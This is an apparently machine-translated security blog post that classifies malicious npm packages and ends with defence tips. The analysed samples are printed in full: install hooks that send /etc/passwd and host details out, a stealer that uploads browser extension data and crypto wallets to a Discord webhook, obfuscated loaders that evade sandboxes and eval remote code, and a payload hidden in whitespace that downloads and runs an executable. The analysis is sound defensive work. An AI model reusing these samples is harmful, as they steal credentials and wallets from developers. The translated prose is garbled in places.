ブログへようこそ
.png)
マルウェア出会いガイド故宮マルウェアの種類を理解する
会社情報 ノード エコシステムは信頼の上に成り立っている。 npmインストール
しかし、その信頼はしばしば見当違いのものとなる。しかし、その信頼はしばしば見当違いである。
昨年来、npmに公開される悪意のあるパッケージの数が増加し、しばしば目につくところに隠れているという不穏な傾向が見られる。研究者による粗雑な概念実証(PoC)もあれば、慎重に作られたバックドアもある。正規のライブラリのふりをするものもあれば、難読化や巧妙なフォーマットのトリックを使って、目と鼻の先でデータを流出させるものもある。
この記事では、私たちが実際に分析した悪意のあるパッケージをいくつか紹介する。それぞれ、私たちが実際に目にする攻撃手法の明確な典型を表しています。あなたが開発者であれ、レッドチーマーであれ、セキュリティエンジニアであれ、これらのパターンに注意を払うべきです。
PoCについて

私たちが目にするパッケージの多くは、セキュリティ研究者からのもので、ステルスであろうとする試みは全くない。彼らは単に何かを証明しようとしているだけであり、多くの場合バグ賞金稼ぎの一環である。つまり、彼らのパッケージはたいてい本当にシンプルで、コードを含んでいないことが多い。彼らは、プリインストール、インストール、ポストインストールなど、パッケージが使用できる「ライフサイクルフック」に純粋に依存しています。これらのフックは、インストール中にパッケージマネージャが実行する単純なコマンドです。
例 ローカル・エディター・トップ
以下はパッケージの例である。 ローカル・エディター・トップ
を投稿するプリインストールフックによって検出されたパッケージです。 /etc/passwd
ファイルをBurp Suite Collaboratorのエンドポイントにホスト名を先頭に付けて送信します。
{
"name": "local_editor_top",
"version": "10.7.2",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
},
"author": "",
"license": "ISC"
}
例 ccf-identity
研究者の中には、さらに一歩進んで、パッケージ内のファイルをこう呼ぶ人もいる。 ccf-identity
を使用してデータを抽出した。一例として、私たちはパッケージを検出し、ライフサイクルフックを観測し、そして、流出環境の多くの指標を持つjavascriptファイルを観測しました:
{
"name": "ccf-identity",
"version": "2.0.2",
"main": "index.js",
"typings": "dist/index",
"license": "MIT",
"author": "Microsoft",
"type": "module",
"repository": {
"type": "git",
"url": "https://github.com/Azure/ccf-identity"
},
"scripts": {
"preinstall": "node index.js",
...
},
"devDependencies": {
...
},
"dependencies": {
"@microsoft/ccf-app": "5.0.13",
...
}
}
ご覧のように、このファイルは インデックス.js
パッケージのインストール・プロセスが始まる前に、このファイルをインストールしてください。以下はそのファイルの内容である。
const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;
const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,
});
var postData = querystring.stringify({
msg: trackingData,
});
var options = {
hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
port: 443,
path: "/",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": postData.length,
},
};
var req = https.request(options, (res) => {
res.on("data", (d) => {
process.stdout.write(d);
});
});
req.on("error", (e) => {
// console.error(e);
});
req.write(postData);
req.end();
これらの概念実証は、多くの情報を収集するためにかなり遠くまで行き、ネットワーク・アダプターに関する情報もしばしば含まれる!
偽者

もしあなたが鋭い方なら、先の例がマイクロソフトのパッケージであることを示しているように見えたことに気づいたかもしれない。お気づきでしたか?ご心配なく、実はマイクロソフトのパッケージではありません!むしろ、これは2つ目のアーキタイプの例でもあるのです:偽者
その好例が、このパッケージだ。 リクエスト・プロミス
.その......その......その......その package.json
ファイル:
{
"name": "requests-promises",
"version": "4.2.1",
"description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
"keywords": [
...
],
"main": "./lib/rp.js",
"scripts": {
...
"postinstall": "node lib/rq.js"
},
"repository": {
"type": "git",
"url": "git+https://github.com/request/request-promise.git"
},
"author": "Nicolai Kamenzky (https://github.com/analog-nico)",
"license": "ISC",
"bugs": {
"url": "https://github.com/request/request-promise/issues"
},
"homepage": "https://github.com/request/request-promise#readme",
"engines": {
"node": ">=0.10.0"
},
"dependencies": {
"request-promise-core": "1.1.4",
"bluebird": "^3.5.0",
"stealthy-require": "^1.1.1",
"tough-cookie": "^2.3.3"
},
"peerDependencies": {
"request": "^2.34"
},
"devDependencies": {
...
}
}
面白いことに気づくだろう。最初は本物のパッケージのように見えるが、何かがおかしいという2つの大きなヒントがある:
- Githubのリファレンスには次のように書かれている。
リクエスト・プロミス
つまり単数形である。パッケージ名は複数形です。 - というファイルのポストインストールフックがある。
lib/rq.js
.
このパッケージはそれ以外は合法的に見える。パッケージから期待されるコードが lib/rp.js
(の違いに注目してほしい。 rp.js
そして rq.js
).では、この追加ファイルを見てみよう、 lib/rq.js
.
const cp = require('child_process');
const {
exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
URL
} = require('url');
function createZipFile(source, dest) {
return new Promise((resolve, reject) => {
const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
exec(command, (error, stdout, stderr) => {
if (error) {
//console.log(error,stdout,stderr)
reject(error);
} else {
//console.log(error,stdout,stderr)
resolve(stdout);
}
});
});
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
try {
const fileData = fs.readFileSync(filePath);
const formData = new FormData();
formData.append('file', new Blob([fileData]), fileName);
formData.append('content', process.env.USERDOMAIN);
const response = await fetch(wu, {
method: 'POST',
body: formData,
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
//console.log('Running Test(s) +1');
} catch (error) {
console.error('Error :', error);
} finally {
try {
cp.execSync('cmd /C del "' + filePath + '"');
} catch {}
}
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('exo', nayme)
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
const datapath = DataPaths[i];
if (fs.existsSync(datapath)) {
const dirs = fs.readdirSync(datapath);
const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
profiles.push('Default');
for (const profile of profiles) {
if (typeof profile == "string") {
const dir = datapath + '\\' + profile + '\\' + folderName;
if (fs.existsSync(dir)) {
//console.log(dir)
const nayme = crypto.randomBytes(2).toString('hex')
const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
cp.exec(command, (e, so, se) => {
if (!e) {
console.log('okok')
makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
//console.log(e,so,se)
} else {
//console.log(e,so,se)
}
})
}
}
}
}
}
という関数があることに騙されてはいけない。 メイクラブ
.このコードがブラウザのキャッシュと暗号ウォレットを探し、base64エンコードされたエンドポイントに送信することはすぐにわかる。デコードすると、Discordのウェブフックであることがわかる。
https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP
結局のところ、それほど愛に溢れているわけではない。
難読化

検知を回避する古典的なトリックは、難読化を使うことだ。防御側として朗報なのは、難読化は 本当に うるさいし、目立つし、ほとんどの場合克服するのは簡単だ。その一例が チキン・イズ・グッド
.ファイルを見る インデックス.js
明らかに難読化されていることがわかる。
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})
すでに次のようなことが書かれている。 チェック仮想マシン
, チェックアップタイム
, isHostnameValid
など、疑念を抱かせる名前がついている。しかし、それが何をやっているのかを完全に確認するために、一般に公開されているデオブファスカーター/デコーダーを通すことができる。すると突然、もう少し読みやすいものが得られる。
var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
_0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
_0x8ed1x4(null, true);
} else {
_0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
}
})[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
_0x8ed1x4(_0x8ed1x5);
});
}
function checkCPUCores(_0x8ed1x8) {
const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
if (_0x8ed1x9 < _0x8ed1x8) {
return false;
} else {
return true;
}
}
function checkMemory(_0x8ed1xb) {
const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
return false;
} else {
return true;
}
}
function checkUptime(_0x8ed1xf) {
const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
const _0x8ed1x13 = /^08:00:27/;
const _0x8ed1x14 = /^00:03:ff/;
const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
const _0x8ed1x16 = os[__Ox12553a[0xd]]();
const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
_0x8ed1x19
}) => {
return !_0x8ed1x19;
})[__Ox12553a[0xf]](({
_0x8ed1x18
}) => {
return _0x8ed1x18;
})[__Ox12553a[0xe]](Boolean);
for (const _0x8ed1x18 of _0x8ed1x17) {
if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
}) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
})) {
console[__Ox12553a[0x15]](__Ox12553a[0x14]);
return true;
}
}
;
return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
const _0x8ed1x1d = os[__Ox12553a[0x18]]();
for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
return false;
}
}
;
return true;
}
function startApp() {
checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
if (!_0x8ed1x5 && _0x8ed1x20) {} else {
if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
process[__Ox12553a[0x1c]](1);
} else {
process[__Ox12553a[0x1c]](1);
}
}
});
if (!checkMemory(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkCPUCores(2)) {
process[__Ox12553a[0x1c]](1);
}
;
if (!checkUptime(3600000)) {
process[__Ox12553a[0x1c]](1);
}
;
if (checkVirtualMachine()) {
process[__Ox12553a[0x1c]](1);
}
;
if (isHostnameValid() === false) {
process[__Ox12553a[0x1c]](1);
}
;
const _0x8ed1x21 = {
hostname: __Ox12553a[0x1d],
port: 8443,
path: __Ox12553a[0x1e],
method: __Ox12553a[0x1f]
};
const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
let _0x8ed1x23 = __Ox12553a[0x6];
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
_0x8ed1x23 += _0x8ed1x24;
});
_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
eval(_0x8ed1x23);
});
});
_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
_0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
_0x8ed1x2b = __Ox12553a[0x23];
_0x8ed1x29 = function (_0x8ed1x2c) {
if (typeof alert !== _0x8ed1x2b) {
alert(_0x8ed1x2c);
}
;
if (typeof console !== _0x8ed1x2b) {
console[__Ox12553a[0x24]](_0x8ed1x2c);
}
};
_0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
return _0x8ed1x2d + _0x8ed1x26;
};
_0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
try {
_0x8ed1x26 = 'jsjiami.com';
if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
_0x8ed1x29(_0x8ed1x2a);
}
} catch (e) {
_0x8ed1x29(_0x8ed1x2a);
}
})({});
多くのシステム情報を収集し、ある時点でHTTPリクエストを送信することは明らかだ。また、HTTPリクエストのコールバック内にeval()が存在するため、任意のコードを実行し、悪意のある動作を示すようだ。
トリックスター

時々、本当にこっそり隠そうとするパッケージも見かける。ロジックを理解しにくくするために難読化で隠そうとしているのではない。ただ、人間が注意を払わないとわからないようにしているだけなのだ。
そのような例として、パッケージ htpsカール
.以下は公式npmサイトから見たコードである:

一見、何の変哲もないように見えるだろう?しかし、横スクロールバーにお気づきだろうか?これは空白で本当のペイロードを隠そうとしているのだ!実際のコードを少し美化するとこうなる。
console.log('Installed');
try {
new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}
隠しペイロードがある。base64エンコードされたblobがあり、それがデコードされ、関数に変換され、そして呼び出される。これがデコードされ、きれいになったペイロードだ。
const {
spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
const t = path.join(process.env.TEMP, `Realktek.exe`),
ws = new WebSocket("wss://frerea[.]com");
ws.on("open", () => {
ws.send(JSON.stringify({
command: "realtek"
}))
});
ws.on("message", m => {
try {
const r = JSON.parse(m);
if (r.type === "realtek" && r.data) {
const b = Buffer.from(r.data, "base64");
fs.writeFileSync(t, b);
spawn("cmd", ["/c", t], {
detached: true,
stdio: "ignore"
}).unref()
}
} catch (e) {
console.error("Error processing WebSocket message:", e)
}
})
})();
ここでは、ペイロードがウェブソケットを通じてリモート・サーバーに接続し、メッセージを送信していることがわかる。そして、そのレスポンスがbase64デコードされ、ディスクに保存され、実行される。
親切すぎるヘルパー

最後の原型は、役に立つが、ちょっと役に立ちすぎる図書館である。ここで使う例は 統合ロガー
パッケージいつものように package.json
ファイル。
{
"name": "consolidate-logger",
"version": "1.0.2",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"dependencies": {
"axios": "^1.5.0"
},
"keywords": [
"logger"
],
"author": "crouch",
"license": "ISC",
"description": "A powerful and easy-to-use logging package designed to simplify error tracking in Node.js applications."
}
ライフサイクルフックが見当たらない。ちょっと不思議だ。しかし、ロギング・ライブラリにとって、依存関係が アクシオス
これはHTTPリクエストに使われる。そこから インデックス.js
ファイルをインポートするファイルである。 src/logger.js。
それを見てみよう。
const ErrorReport = require("./lib/report");
class Logger {
constructor() {
this.level = 'info';
this.output = null;
this.report = new ErrorReport();
}
configure({ level, output }) {
this.level = level || 'info';
this.output = output ? path.resolve(output) : null;
}
log(level, message) {
const timestamp = new Date().toISOString();
const logMessage = `[${timestamp}] [${level.toUpperCase()}]: ${message}`;
console.log(logMessage);
}
info(message) {
this.log('info', message);
}
warn(message) {
this.log('warn', message);
}
error(error) {
this.log('error', error.stack || error.toString());
}
debug(message) {
if (this.level === 'debug') {
this.log('debug', message);
}
}
}
module.exports = Logger;
一見して目立つものは何もない。 エラーレポート
コンストラクタでインスタンス化され、使用されていない?このクラスが何をするのか見てみよう。
"use strict";
class ErrorReport {
constructor() {
this.reportErr("");
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('72657175697265'),
g('6178696f73'),
g('676574'),
g('687474703a2f2f6d6f72616c69732d6170692d76332e636c6f75642f6170692f736572766963652f746f6b656e2f6639306563316137303636653861356430323138633430356261363863353863'),
g('7468656e'),
];
const reportError = (msg) => require(hl[1])[[hl[2]]](hl[3])[[hl[4]]](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
ここにはもっと多くのことがある。難読化が進んでいるので、ここでは簡略化して説明する。
"use strict";
class ErrorReport {
constructor() {
this.reportErr(""); //
}
versionToNumber(versionString) {
return parseInt(versionString.replace(/\./g, ''), 10);
}
reportErr(err_msg) {
function g(h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))); }
const hl = [
g('require'),
g('axios'),
g('get'),
g('http://moralis-api-v3[.]cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c'),
g('then'),
];
const reportError = (msg) => require('axios')['get']('http://moralis-api-v3.cloud/api/service/token/f90ec1a7066e8a5d0218c405ba68c58c')[['then']](res => res.data).catch(err => eval(err.response.data || "404"));
reportError(err_msg);
}
}
module.exports = ErrorReport;
これで、このコードが何をしているのかがより明確になった。コンストラクタの中で 報告エラー
関数をエラーメッセージなしでインポートできる。この関数は難読化されており、インポートに必要な部分を含んでいる。 アクシオス
を呼び出す。 eval()
を返す。つまり、このライブラリーはある意味、ロギングの手助けをしてくれる。しかし、ちょっと役に立ちすぎるかもしれない。 ロガー
クラスがインスタンス化される。
🛡️ ディフェンスのヒント
このようなパッケージを防御するためだ:
- ライフサイクルフックを常に監査する で
package.json
.これらは一般的な攻撃ベクターである。 - レポとパッケージ名を確認する- 微妙な名前の違いは、しばしばトラブルを意味する。
- 難読化、最小化されたコード、小さなパッケージ内のbase64blobを疑ってください。
- 以下のようなツールを使用する アイクディオ・インテル のようなツールを使って、怪しいパッケージにフラグを立てよう。
- ロックファイル(
パッケージロック.json
